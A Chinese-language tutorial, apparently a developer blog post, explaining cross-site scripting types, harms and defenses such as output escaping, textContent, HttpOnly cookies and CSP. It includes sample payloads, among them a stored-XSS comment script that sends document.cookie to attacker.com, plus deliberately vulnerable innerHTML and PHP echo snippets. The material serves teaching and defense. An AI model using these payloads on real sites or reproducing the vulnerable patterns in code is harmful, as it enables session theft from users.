【浏览器原理——安全偏】什么是XSS 如何防御?

7 阅读3分钟

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过向网页中注入恶意脚本(通常是JavaScript),使其在用户浏览器中执行,从而窃取用户数据、劫持会话或进行其他恶意操作。


一、XSS攻击的原理

  1. 核心逻辑

    • 攻击者利用网站未对用户输入进行充分过滤的漏洞,将恶意脚本嵌入网页内容中。
    • 当其他用户访问该页面时,浏览器会加载并执行这些脚本,导致攻击生效。
  2. 关键特征

    • 客户端执行:攻击发生在用户浏览器,而非服务器端。
    • 依赖信任关系:用户信任目标网站,但网站未正确处理用户输入。

二、XSS攻击的三种类型

1. 存储型XSS(持久型)

  • 攻击流程

    1. 攻击者将恶意脚本提交到网站数据库(如评论、留言板)。
    2. 其他用户访问包含该内容的页面时,脚本自动执行。
  • 危害:长期影响所有访问该页面的用户。

  • 示例

    <!-- 恶意评论内容 -->  
    <script>stealCookie('http://attacker.com?data='+document.cookie)</script>
    

2. 反射型XSS(非持久型)

  • 攻击流程

    1. 攻击者构造一个包含恶意脚本的URL(如通过邮件或钓鱼链接)。
    2. 用户点击链接后,服务器将脚本返回至页面并执行。
  • 特点:需诱导用户主动点击链接。

  • 示例

    http://victim.com/search?query=<script>alert('XSS')</script>
    

3. DOM型XSS

  • 攻击流程

    1. 恶意脚本通过修改页面的DOM结构触发(无需服务器参与)。
    2. 常见于前端JavaScript动态操作DOM的场景。
  • 示例

    // 假设从URL参数中获取内容并直接插入DOM  
    const userInput = new URLSearchParams(window.location.search).get('content');  
    document.getElementById('output').innerHTML = userInput; // 风险点
    

三、XSS攻击的危害

  1. 窃取敏感信息

    • 盗取用户Cookie、会话Token,实现会话劫持。
    • 获取用户输入的密码、银行卡信息等。
  2. 篡改页面内容

    • 插入虚假登录表单(钓鱼攻击)。
    • 重定向用户至恶意网站。
  3. 高级攻击

    • 结合浏览器漏洞下载木马。
    • 发起CSRF(跨站请求伪造)攻击。

四、防御XSS攻击的关键措施

1. 输入过滤与验证

  • 对用户输入进行严格校验(如长度、格式、特殊字符)。
  • 使用白名单机制,仅允许安全字符(如正则表达式过滤<script>标签)。

2. 输出编码(关键防御)

  • 将用户输入的内容在输出到页面时进行转义:

    • HTML编码:将<转为&lt;>转为&gt;
    • JavaScript编码:使用\xHH形式转义特殊字符。
  • 前端框架自动转义:如React的{变量}、Vue的{{ }}默认会转义内容。

3. 安全使用DOM API

  • 避免直接操作innerHTML,优先使用textContent

    // 错误示例(易引发XSS)  
    element.innerHTML = userInput;  
    // 正确做法  
    element.textContent = userInput;
    

4. 设置HttpOnly Cookie

  • 标记Cookie为HttpOnly,禁止JavaScript通过document.cookie读取:

    Set-Cookie: sessionId=abc123; HttpOnly; Secure
    

5. 启用CSP(内容安全策略)

  • 通过HTTP头限制页面资源加载来源:

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
    

五、实际案例与测试方法

1. 测试XSS漏洞

  • 手动测试:输入<script>alert(1)</script>,观察是否弹窗。
  • 工具扫描:使用OWASP ZAP、Burp Suite等工具自动化检测。

2. 漏洞修复示例

  • 漏洞代码

    echo "<div>" . $_GET['content'] . "</div>"; // 直接输出用户输入
    
  • 修复代码

    echo "<div>" . htmlspecialchars($_GET['content'], ENT_QUOTES) . "</div>"; // 转义输出
    

六、与其他攻击的区别

  • XSS vs CSRF

    • XSS利用用户对网站的信任,在用户浏览器执行脚本。
    • CSRF利用网站对用户浏览器的信任,伪造用户请求(如转账操作)。

总结

XSS攻击的本质是“让用户浏览器执行非预期的代码”。防御的核心在于:

  1. 不信任任何用户输入(过滤+转义)。
  2. 启用CSP(内容安全策略)
  3. 设置HttpOnly Cookie